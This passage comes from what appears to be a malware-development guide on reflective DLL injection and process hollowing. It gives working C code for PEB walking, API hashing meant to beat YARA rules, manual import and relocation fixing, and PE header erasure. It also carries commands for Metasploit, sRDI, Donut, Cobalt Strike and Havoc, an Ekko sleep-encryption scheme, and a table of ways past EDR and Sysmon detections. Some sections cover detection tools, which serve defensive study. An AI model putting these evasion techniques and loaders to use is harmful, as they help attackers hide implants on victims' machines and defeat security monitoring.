    HMODULE hKernel32 = peb_find_module(L"kernel32.dll");
    printf("[+] kernel32.dll found at: 0x%p\n", hKernel32);

    // Find VirtualAlloc without GetProcAddress
    typedef LPVOID(WINAPI* pVA)(LPVOID, SIZE_T, DWORD, DWORD);
    pVA fnVA = (pVA)manual_get_proc(hKernel32, "VirtualAlloc");
    printf("[+] VirtualAlloc at: 0x%p\n", fnVA);

    // Now use it
    LPVOID mem = fnVA(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE,
                      PAGE_EXECUTE_READWRITE);
    printf("[+] Allocated memory at: 0x%p\n", mem);
}

11.2 API Hashing (Anti-YARA String Detection)

// api_hashing.c — Resolve APIs by hash (no plaintext function name strings)
// Prevents YARA rules matching "VirtualAlloc", "CreateThread" strings in binary

// djb2-style hash used by many malware families
DWORD api_hash(const char* name) {
    DWORD h = 0x811C9DC5;  // FNV-1a seed
    while (*name) {
        h ^= (BYTE)*name++;
        h *= 0x01000193;
    }
    return h;
}

// Resolve function by hash instead of name
FARPROC resolve_by_hash(HMODULE hModule, DWORD targetHash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)hModule + nt->OptionalHeader
                            .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                            .VirtualAddress
    );

    DWORD* names    = (DWORD*)((BYTE*)hModule + exp->AddressOfNames);
    WORD*  ordinals = (WORD*) ((BYTE*)hModule + exp->AddressOfNameOrdinals);
    DWORD* funcs    = (DWORD*)((BYTE*)hModule + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)hModule + names[i]);
        if (api_hash(name) == targetHash) {
            return (FARPROC)((BYTE*)hModule + funcs[ordinals[i]]);
        }
    }
    return NULL;
}

// Pre-compute hashes offline:
// api_hash("VirtualAlloc")     → 0x91AFCA54 (example)
// api_hash("CreateThread")     → 0x7C0017A5 (example)
// api_hash("LoadLibraryA")     → 0xEC0E4E8E (example)
// api_hash("GetProcAddress")   → 0x7C0DFCAA (example)

// Usage — no plaintext strings in binary:
#define HASH_VIRTUAL_ALLOC    0x91AFCA54
#define HASH_CREATE_THREAD    0x7C0017A5

HMODULE hK32 = peb_find_module(L"kernel32.dll");
typedef LPVOID(WINAPI* pVA)(LPVOID, SIZE_T, DWORD, DWORD);
pVA fn = (pVA)resolve_by_hash(hK32, HASH_VIRTUAL_ALLOC);

12. IAT Patching & Import Resolution

What it means: After mapping a PE manually, the Import Address Table (IAT) is filled with the RVAs from the file — not the actual runtime addresses. The IAT must be patched so each entry points to the real function address in the current process. This is the last required step before a manually-mapped PE can call any Windows APIs.

12.1 IAT Structure

IAT (Import Address Table) Structure:
──────────────────────────────────────────────────
IMAGE_IMPORT_DESCRIPTOR (one per imported DLL):
  - OriginalFirstThunk (INT) → array of IMAGE_THUNK_DATA:
      ├─ Each entry: RVA of IMAGE_IMPORT_BY_NAME {"Hint", "FunctionName"}
      └─ Or: MSB set = import by ordinal, low 16 bits = ordinal number
  - FirstThunk (IAT) → array of IMAGE_THUNK_DATA:
      └─ BEFORE patching: same as INT (RVAs to name/ordinal entries)
      └─ AFTER patching: actual function addresses in memory
  - Name → DLL name (e.g., "kernel32.dll")

The Windows loader reads INT to know WHAT to import,
then WRITES resolved addresses into FirstThunk (IAT).
We replicate this manually.

12.2 Full IAT Fix (C)

// iat_fix.c — Resolve and patch the Import Address Table of a manually mapped PE

#include <windows.h>
#include <stdio.h>

BOOL resolve_iat(LPVOID imageBase) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)imageBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)imageBase + dos->e_lfanew);

    DWORD importRVA = nt->OptionalHeader
                        .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
                        .VirtualAddress;
    if (!importRVA) return TRUE;  // No imports — nothing to do

    // Walk the array of IMAGE_IMPORT_DESCRIPTORs (one per DLL)
    // Array is null-terminated (all-zero entry at end)
    PIMAGE_IMPORT_DESCRIPTOR desc =
        (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)imageBase + importRVA);

    while (desc->Name != 0) {
        char* dllName = (char*)((BYTE*)imageBase + desc->Name);

        // Load the required DLL
        HMODULE hDep = LoadLibraryA(dllName);
        if (!hDep) {
            printf("[-] Cannot load dependency: %s\n", dllName);
            desc++;
            continue;
        }

        printf("[+] Processing imports from: %s\n", dllName);

        // OriginalFirstThunk = INT (name table, read-only reference)
        PIMAGE_THUNK_DATA pINT =
            (PIMAGE_THUNK_DATA)((BYTE*)imageBase + desc->OriginalFirstThunk);
        // FirstThunk = IAT (this is where we write resolved addresses)
        PIMAGE_THUNK_DATA pIAT =
            (PIMAGE_THUNK_DATA)((BYTE*)imageBase + desc->FirstThunk);

        // Walk until null thunk
        while (pINT->u1.AddressOfData != 0) {
            FARPROC funcPtr = NULL;

            if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) {
                // Import by ordinal: low 16 bits = ordinal number
                WORD ord = (WORD)IMAGE_ORDINAL(pINT->u1.Ordinal);
                funcPtr = GetProcAddress(hDep, (LPCSTR)(ULONG_PTR)ord);
                if (funcPtr)
                    printf("  [>] #%d → 0x%p\n", ord, funcPtr);
                else
                    printf("  [-] Failed: ordinal #%d\n", ord);
            } else {
                // Import by name
                PIMAGE_IMPORT_BY_NAME ibn =
                    (PIMAGE_IMPORT_BY_NAME)((BYTE*)imageBase + pINT->u1.AddressOfData);
                funcPtr = GetProcAddress(hDep, (LPCSTR)ibn->Name);
                if (funcPtr)
                    printf("  [>] %s → 0x%p\n", ibn->Name, funcPtr);
                else
                    printf("  [-] Failed: %s\n", ibn->Name);
            }

            // Patch IAT entry with resolved address
            DWORD oldProt;
            VirtualProtect(pIAT, sizeof(ULONG_PTR), PAGE_READWRITE, &oldProt);
            pIAT->u1.Function = (ULONG_PTR)funcPtr;
            VirtualProtect(pIAT, sizeof(ULONG_PTR), oldProt, &oldProt);

            pINT++;
            pIAT++;
        }

        desc++;
    }

    return TRUE;
}

13. Base Relocation Fixup

What it means: PE files contain hardcoded absolute addresses (e.g., pointer to a global variable). If the PE loads at a different base than its preferred ImageBase, all those hardcoded addresses are wrong by exactly (actualBase - preferredBase). The relocation table tells us exactly which bytes to patch.

13.1 Relocation Block Format

.reloc section structure:
─────────────────────────────────────────────────────────────
[IMAGE_BASE_RELOCATION block #1]:
  DWORD VirtualAddress  → Page base (4KB-aligned RVA)
  DWORD SizeOfBlock     → Total size of this block (including this header)
  WORD  TypeOffset[n]   → Array of 2-byte entries:
                           bits 15-12: type (0=skip, A=DIR64 on x64, 3=HIGHLOW on x86)
                           bits 11-0:  offset within the 4KB page

[IMAGE_BASE_RELOCATION block #2]:
  ...

[Null terminator]:
  DWORD VirtualAddress = 0
  DWORD SizeOfBlock    = 0

Types:
  IMAGE_REL_BASED_ABSOLUTE (0)  → padding entry, skip
  IMAGE_REL_BASED_HIGHLOW  (3)  → 32-bit absolute address (x86)
  IMAGE_REL_BASED_DIR64    (A)  → 64-bit absolute address (x64)

13.2 Full Relocation Fix (C)

// relocation_fix.c — Comprehensive base relocation processing

void apply_relocations(LPVOID imageBase, PIMAGE_NT_HEADERS nt) {
    LONGLONG delta = (LONGLONG)imageBase
                   - (LONGLONG)nt->OptionalHeader.ImageBase;

    if (delta == 0) return;  // No relocation needed

    DWORD relocRVA = nt->OptionalHeader
                       .DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
                       .VirtualAddress;
    DWORD relocSize = nt->OptionalHeader
                        .DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
                        .Size;

    if (!relocRVA || !relocSize) {
        printf("[!] No relocation table — ASLR will break execution if base differs!\n");
        return;
    }

    PIMAGE_BASE_RELOCATION block =
        (PIMAGE_BASE_RELOCATION)((BYTE*)imageBase + relocRVA);
    BYTE* relocEnd = (BYTE*)block + relocSize;

    while ((BYTE*)block < relocEnd && block->VirtualAddress != 0) {
        BYTE* pageBase = (BYTE*)imageBase + block->VirtualAddress;

        DWORD entryCount = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))
                           / sizeof(WORD);
        WORD* entries    = (WORD*)((BYTE*)block + sizeof(IMAGE_BASE_RELOCATION));

        for (DWORD i = 0; i < entryCount; i++) {
            BYTE type   = entries[i] >> 12;
            WORD offset = entries[i] & 0x0FFF;

            switch (type) {
                case IMAGE_REL_BASED_ABSOLUTE:
                    break;  // Skip (padding)

                case IMAGE_REL_BASED_DIR64: {
                    // x64: 64-bit pointer patch
                    UINT64* target = (UINT64*)(pageBase + offset);
                    *target += delta;
                    break;
                }

                case IMAGE_REL_BASED_HIGHLOW: {
                    // x86: 32-bit pointer patch
                    UINT32* target = (UINT32*)(pageBase + offset);
                    *target += (UINT32)delta;
                    break;
                }

                case IMAGE_REL_BASED_HIGH: {
                    // Patch high 16 bits only
                    UINT16* target = (UINT16*)(pageBase + offset);
                    *target += HIWORD(delta);
                    break;
                }

                default:
                    printf("[!] Unknown relocation type: %d\n", type);
            }
        }

        // Advance to next block
        block = (PIMAGE_BASE_RELOCATION)((BYTE*)block + block->SizeOfBlock);
    }

    printf("[+] Applied base relocations (delta: %+lld / 0x%llx)\n",
           delta, (UINT64)delta);
}

14. Tools Reference

14.1 Stephen Fewer's ReflectiveDLLInjection (Original)

# [TOOL] The original RDI implementation
# GitHub: https://github.com/stephenfewer/ReflectiveDLLInjection
git clone https://github.com/stephenfewer/ReflectiveDLLInjection

# Build the reflective DLL (MSVC)
# Open ReflectiveDLLInjection.sln → Build → Release x64
# Outputs: reflective_dll.x64.dll

# Inject into a running process via Metasploit:
# msfconsole:
use post/windows/manage/reflective_dll_inject
set SESSION 1
set DLL /path/to/reflective_dll.x64.dll
set PID <target_pid>
run

14.2 sRDI (Shellcode Reflective DLL Injection)

# [TOOL] Convert any DLL to shellcode
# GitHub: https://github.com/monoxgas/sRDI
git clone https://github.com/monoxgas/sRDI

# Convert beacon.dll to shellcode
python3 sRDI/Python/ConvertToShellcode.py beacon.dll
# → beacon.bin (self-loading shellcode blob)

# With a specific export call
python3 sRDI/Python/ConvertToShellcode.py beacon.dll \
    --function RunPayload \
    --parameter "192.168.1.1:443"

14.3 Donut (PE/DLL/.NET to Shellcode)

# [TOOL] Convert PE, DLL, .NET assemblies to shellcode
# GitHub: https://github.com/TheWover/donut
git clone https://github.com/TheWover/donut && cd donut && make

# PE → shellcode (raw binary)
donut -i payload.exe -o payload.bin

# DLL with export → shellcode
donut -i beacon.dll -o beacon.bin -n DllMain

# .NET assembly → shellcode
donut -i Rubeus.exe -o rubeus.bin -p "asktgt /user:admin ..."

# With AES encryption
donut -i payload.exe -o payload.bin -e 2    # AES-256
donut -i payload.exe -o payload.bin -e 3    # Deflate compression

# Formats:
# -f 1  = raw binary (.bin)
# -f 4  = C header (.h)
# -f 8  = Python bytes (.py)
# -f 16 = PowerShell

14.4 Hasherezade's libpeconv

# [TOOL] PE manipulation and manual loading library
# GitHub: https://github.com/hasherezade/libpeconv
git clone https://github.com/hasherezade/libpeconv

# Features:
# - Manual PE loading (EXE and DLL)
# - Relocation processing with callbacks
# - IAT resolution with callbacks
# - PEB integration
# - ASLR handling

# C++ usage:
#include "peconv.h"

size_t v_size = 0;
// Load PE from file, manually map into memory
BYTE* loaded = peconv::load_pe_executable("payload.dll", v_size);
if (loaded) {
    // PE is mapped, relocations + imports fixed automatically
    // Call entry point
    peconv::run_pe_entry(loaded, v_size, ...);
}

14.5 Process Hollowing Tools

# [TOOL] BulletTrain — Manual PE Mapping + injection
# GitHub: https://github.com/buzzer-re/BulletTrain

# Self-inject a PE
BulletTrain.exe malware.exe

# Inject into remote process (requires admin)
BulletTrain.exe malware.exe <target_process.exe>

# [TOOL] RunPE by hasherezade (process hollowing PoC)
# GitHub: https://github.com/hasherezade/runpe_hh
RunPE.exe target_exe.exe payload.exe

14.6 Detection and Analysis Tools

# [TOOL] Volatility — memory forensics (detecting reflective injection)
volatility -f memory.dmp --profile=Win10x64 malfind
# malfind: finds RWX private memory regions with PE headers

volatility -f memory.dmp --profile=Win10x64 dlllist -p <PID>
# dlllist: shows module list from PEB — reflective DLLs won't appear

volatility -f memory.dmp --profile=Win10x64 ldrmodules -p <PID>
# ldrmodules: cross-references 3 PEB lists + VAD — finds hidden modules

# [TOOL] Moneta — live process memory analysis
# GitHub: https://github.com/forrest-orr/moneta
Moneta64.exe -m ioc -p <PID>
# Finds: private RWX, modified sections, phantom mappings, unsigned code

# [TOOL] pe-sieve — scan process for PE artifacts
# GitHub: https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid <PID> /quiet
# Detects: module stomping, hollowing, injected PEs, patched modules

# [TOOL] Sysmon — event-based detection
# Key event IDs:
#   EventID 7  = Image loaded (won't fire for reflective loads)
#   EventID 8  = CreateRemoteThread
#   EventID 10 = Process accessed (OpenProcess + CreateRemoteThread)
#   EventID 17 = Pipe event

14.7 Cobalt Strike / Havoc Reflective Loading

# [TOOL] Cobalt Strike — uses reflective loading for beacons
# spawn      → injects beacon using reflective DLL injection
# shinject   → inject shellcode into process
# dllinject  → reflective DLL injection into remote process
# execute-assembly → loads .NET assembly via CLR hosting

# Havoc C2 — reflective loading built into implant generation
# https://github.com/HavocFramework/Havoc
# Havoc agents use reflective loading + sleep encryption (Ekko/Cronos)

# Metasploit reflective injection
use post/windows/manage/reflective_dll_inject
# Uses Stephen Fewer's technique for reflective_dll.x64.dll injection

15. Detection & Evasion

15.1 What EDR Looks For

[DETECT] MEMORY-BASED SIGNATURES:
  ┌─ Private executable memory (RWX or RX) not backed by file on disk
  │    → malfind, Moneta, pe-sieve all flag this
  │
  ├─ PE header (MZ + PE magic) at start of a private memory region
  │    → Strong indicator of manual mapping / reflective injection
  │
  ├─ Executable memory region in a process with no corresponding module in PEB
  │    → Volatility ldrmodules cross-reference
  │
  └─ Modified in-memory section content vs on-disk content
       → Module stomping / DLL hollowing fingerprint

[DETECT] BEHAVIORAL SIGNATURES:
  ┌─ OpenProcess(PROCESS_ALL_ACCESS) + VirtualAllocEx + WriteProcessMemory
  │    + CreateRemoteThread in sequence (Sysmon EventID 8, 10)
  │
  ├─ CreateProcess(CREATE_SUSPENDED) + ZwUnmapViewOfSection
  │    + VirtualAllocEx + WriteProcessMemory + SetThreadContext + ResumeThread
  │    → Process hollowing chain
  │
  ├─ NtCreateTransaction + CreateFileTransacted + NtCreateSection(SEC_IMAGE)
  │    + NtRollbackTransaction in sequence
  │    → Phantom hollowing / Doppelgänging fingerprint
  │
  └─ PEB walk pattern (InLoadOrderModuleList traversal) in disassembly
       → ReflectiveLoader bootstrap indicator

[DETECT] STATIC SIGNATURES:
  ┌─ "ReflectiveLoader" export string in DLL
  │    → Original Stephen Fewer technique
  │
  ├─ PEB walking code pattern (GS:[0x60] → Ldr → InLoadOrderModuleList)
  │
  ├─ API hash constants (0xDEADBEEF XOR chains, FNV-1a constants)
  │
  └─ PE header search loop (looking backward from RIP for "MZ")

15.2 Evasion Strategies

1. PE Header Erasure (after mapping)

// After mapping + resolving imports, erase the PE header from memory
// This defeats tools looking for "MZ" at start of executable regions

void erase_pe_header(LPVOID imageBase) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)imageBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)imageBase + dos->e_lfanew);
    DWORD headerSize = nt->OptionalHeader.SizeOfHeaders;

    DWORD oldProt;
    VirtualProtect(imageBase, headerSize, PAGE_READWRITE, &oldProt);
    memset(imageBase, 0, headerSize);  // Zero out headers
    VirtualProtect(imageBase, headerSize, PAGE_NOACCESS, &oldProt);
    // PAGE_NOACCESS: even more suspicious memory access to this region will crash
}

// sRDI flags:
// ConvertToShellcode(dll, ..., flags=0x1)
// Flag 0x1 = clear DLL headers after load (automatic PE header erasure)

2. Proper Memory Permission Segmentation

// Don't use PAGE_EXECUTE_READWRITE for the whole image
// Set per-section permissions like the real Windows loader
void set_section_permissions(LPVOID imageBase, PIMAGE_NT_HEADERS nt) {
    PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);

    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        DWORD characteristics = sections[i].Characteristics;
        DWORD newProt = PAGE_NOACCESS;

        BOOL exec  = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
        BOOL read  = (characteristics & IMAGE_SCN_MEM_READ)    != 0;
        BOOL write = (characteristics & IMAGE_SCN_MEM_WRITE)   != 0;

        if (exec && read && write) newProt = PAGE_EXECUTE_READWRITE;
        else if (exec && read)     newProt = PAGE_EXECUTE_READ;
        else if (exec)             newProt = PAGE_EXECUTE;
        else if (read && write)    newProt = PAGE_READWRITE;
        else if (read)             newProt = PAGE_READONLY;

        BYTE*  secAddr = (BYTE*)imageBase + sections[i].VirtualAddress;
        SIZE_T secSize = sections[i].Misc.VirtualSize;
        DWORD  dummy;
        VirtualProtect(secAddr, secSize, newProt, &dummy);
    }
}
// Result: .text = RX, .data = RW, .rdata = R
// No RWX regions visible to memory scanners

3. PEB Linking (Anti-Volatility)

// For DLLs that should appear "legitimate" in the module list:
// Manually add a LDR_DATA_TABLE_ENTRY to the PEB module lists
// (Also called "Dark LoadLibrary" technique by MDSec 2021)

// This is the opposite of stealth — it makes the DLL *appear* in the module list
// Use case: when the loaded DLL itself needs to enumerate modules
// or when hiding from tools that look for missing module entries

// Dark LoadLibrary (MDSec): https://github.com/boku7/injectAmsiBypass
// Adds DLL to:
//   PEB.Ldr.InLoadOrderModuleList
//   PEB.Ldr.InMemoryOrderModuleList
//   PEB.Ldr.InInitializationOrderModuleList
//   LdrpHashTable (hash lookup)

4. Sleep Encryption for Reflective Implants (Ekko)

Ekko Technique (Cobalt Strike / custom C2):
  Implant is running in memory (decrypted, executable)
       ↓
  Before sleep:
    ├─ RtlCreateTimer with shellcode address → queues WaitTimer callback
    ├─ Queue APC via NtQueueApcThread:
    │   → VirtualProtect(shellcode, RW)    (make non-executable)
    │   → SystemFunction032 / RC4-encrypt  (encrypt self in-memory)
    │   → sleep timer fires
    │   → RC4-decrypt self
    │   → VirtualProtect(shellcode, RX)    (make executable again)
       ↓
  During sleep:
    Memory content = ENCRYPTED + non-executable
    EDR periodic scanner sees: encrypted blob, no PE header, not executable
    Result: scanner sees NOTHING suspicious
       ↓
  After sleep: timer fires, decrypts, resumes

Tools implementing Ekko:
  https://github.com/Cracked5pider/Ekko
  https://github.com/Idov31/Cronos
  https://github.com/JLospinoso/gargoyle

16. Comparison Matrix

Technique Disk Artifact PEB Visible File-Backed Mem Hollowing Complexity EDR Evasion
Manual PE Map No No No (private) No Medium Medium
RDI (Stephen Fewer) No No No (private) No High Medium-High
sRDI No No No (private) No Low (usage) Medium-High
Process Hollowing No Yes (legit) Yes (legit exe) Yes Medium High
DLL Hollowing (stomp) Yes (DLL exists) Yes (legit) Yes (legit DLL) Yes Medium High
Phantom DLL Hollow No (rolled back) Optional Yes (phantom) Yes Very High Very High
Process Doppelgänging No (rolled back) Yes (legit) Yes (phantom) Partial Very High Very High

17. Cheat Sheet

Quick Decision Tree — Which Technique?

Need to execute code reflectively?
│
├─ CTF / Learning / Lab?
│   └─ Manual PE Mapping (§4) → best to learn internals
│       OR simple RDI with Stephen Fewer's PoC
│
├─ Have DLL compiled with ReflectiveLoader?
│   └─ Use RDI directly (§5)
│       → inject raw DLL bytes + CreateRemoteThread at ReflectiveLoader offset
│
├─ Have DLL without ReflectiveLoader?
│   └─ Convert with sRDI (§6)
│       → python ConvertToShellcode.py target.dll → target.bin
│       → inject the .bin blob like any other shellcode
│
├─ Need payload to look like a trusted process?
│   └─ Process Hollowing (§7)
│       → notepad.exe / svchost.exe / RuntimeBroker.exe
│       → BE AWARE: well-detected on modern EDRs
│
├─ Need payload in "file-backed" memory?
│   ├─ Basic: DLL Hollowing / Module Stomping (§8)
│   │   → Load legit DLL → overwrite .text
│   │   → Fast, moderate evasion
│   │
│   └─ Advanced: Phantom DLL Hollowing (§9)
│       → Requires NTFS KTM APIs
│       → Best stealth — file never on disk
│
├─ Need cleanest possible artifacts?
│   └─ Process Doppelgänging (§10)
│       → Most complex, requires undocumented NtCreateProcessEx
│       → Now detected by Windows Defender on newer builds
│
└─ Building custom C2 / implant?
    └─ Combine: sRDI conversion + DLL Hollowing + Ekko sleep encryption
        → Best-in-class implant stealth posture

Key APIs Reference

REFLECTIVE LOADING CORE APIs:
  VirtualAlloc / VirtualAllocEx     → Allocate local/remote memory
  VirtualProtect / VirtualProtectEx → Change memory permissions
  WriteProcessMemory                → Write to remote process
  CreateRemoteThread                → Execute in remote process
  GetThreadContext / SetThreadContext → Redirect thread execution
  ResumeThread                      → Resume suspended thread
  LoadLibraryA / GetProcAddress     → Resolve imports (after IAT is set up)

NTAPI (ntdll.dll) — REFLECTIVE LOADING:
  NtUnmapViewOfSection              → Hollow out process/section
  NtCreateSection                   → Create section object
  NtMapViewOfSection                → Map section into process
  NtCreateTransaction               → Start NTFS transaction (KTM)
  NtRollbackTransaction             → Roll back (phantom hollow)
  NtCreateProcessEx                 → Create process from section

PEB NAVIGATION (x64):
  GS:[0x60]     → PEB address
  PEB+0x18      → PEB.Ldr (PEB_LDR_DATA pointer)
  Ldr+0x10      → InLoadOrderModuleList.Flink (first module entry)
  Entry+0x30    → DllBase (module base address)
  Entry+0x58    → BaseDllName.Buffer (module name)

Key Structures Reference

// PE Navigation Quick Reference
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
// dos->e_magic      = 0x5A4D  ("MZ")
// dos->e_lfanew     = offset to PE header

PIMAGE_NT_HEADERS nt = base + dos->e_lfanew;
// nt->Signature     = 0x00004550  ("PE\0\0")
// nt->FileHeader    = IMAGE_FILE_HEADER
// nt->OptionalHeader = IMAGE_OPTIONAL_HEADER

// Key OptionalHeader fields:
// .ImageBase              → preferred load address
// .SizeOfImage            → total size when mapped
// .SizeOfHeaders          → size of MZ+PE headers
// .AddressOfEntryPoint    → RVA to DllMain/main
// .DataDirectory[0]       → Export table
// .DataDirectory[1]       → Import table (IAT)
// .DataDirectory[5]       → Base Relocation table

// Section headers: IMAGE_FIRST_SECTION(nt) → array
// .VirtualAddress     → RVA in memory
// .PointerToRawData   → FOA on disk
// .SizeOfRawData      → on-disk size
// .Misc.VirtualSize   → in-memory size
// .Characteristics    → RWX flags (0x20 = CODE, 0x20000000 = EXECUTE, etc.)

Detection Bypass Summary

Detected by:           Bypass:
───────────────────────────────────────────────────────────────
Sysmon EventID 7       Avoid LoadLibrary → use manual mapping / RDI
  (Image Load)

Sysmon EventID 8       Inject via APC (QueueUserAPC) instead of
  (CreateRemoteThread)  CreateRemoteThread — different event

malfind (Volatility)   PE header erasure after load + Ekko sleep encryption
  (Private RWX + MZ)

Module list check      PEB linking (Dark LoadLibrary) OR stay unlinked
  (PEB.Ldr)             and accept being "hidden"

Section content vs     Phantom DLL Hollowing / Process Doppelgänging
  file content          → no file to compare against

YARA string rules      API hashing → no plaintext "VirtualAlloc" etc.
  (import strings)      in binary

RWX memory flag        Proper section permissions (§15.2 technique 2)
                        → .text=RX, .data=RW — no single RWX region

EDR during beacon      Ekko / Cronos sleep encryption
  sleep scan            → encrypt+non-executable during sleep

References & Tools

Core PoCs & Libraries: - Stephen Fewer — Original RDI → https://github.com/stephenfewer/ReflectiveDLLInjection - monoxgas — sRDI → https://github.com/monoxgas/sRDI - TheWover — Donut → https://github.com/TheWover/donut - hasherezade — libpeconv → https://github.com/hasherezade/libpeconv - hasherezade — pe-sieve → https://github.com/hasherezade/pe-sieve - hasherezade — process doppelgänging → https://github.com/hasherezade/process_doppelganging - Forrest Orr — Phantom DLL Hollowing PoC → https://github.com/forrest-orr/phantom-dll-hollower-poc

Sleep Encryption: - Ekko (C5pider) → https://github.com/Cracked5pider/Ekko - Cronos (Idov31) → https://github.com/Idov31/Cronos - Gargoyle (JLospinoso) → https://github.com/JLospinoso/gargoyle

Memory Forensics / Detection: - Moneta (Forrest Orr) → https://github.com/forrest-orr/moneta - Volatility malfind → volatility -f dump.bin malfind --profile Win10x64 - BulletTrain → https://github.com/buzzer-re/BulletTrain

Research & Reading: - Forrest Orr — "Masking Malicious Memory Artifacts" (CyberArk 2020) → Phantom DLL Hollowing - MDSec — "Dark LoadLibrary" (2021) → PEB linking for reflective DLLs - Elastic Security — "Ten Process Injection Techniques" → Survey of methods - IRED.team → https://www.ired.team (RDI lab writeup) - CrowdStrike — HijackLoader analysis (2024) → Modern hollow + doppelgänging combos - MITRE ATT&CK: T1055.001 (DLL Injection), T1055.012 (Process Hollowing)

← Malware development top ↑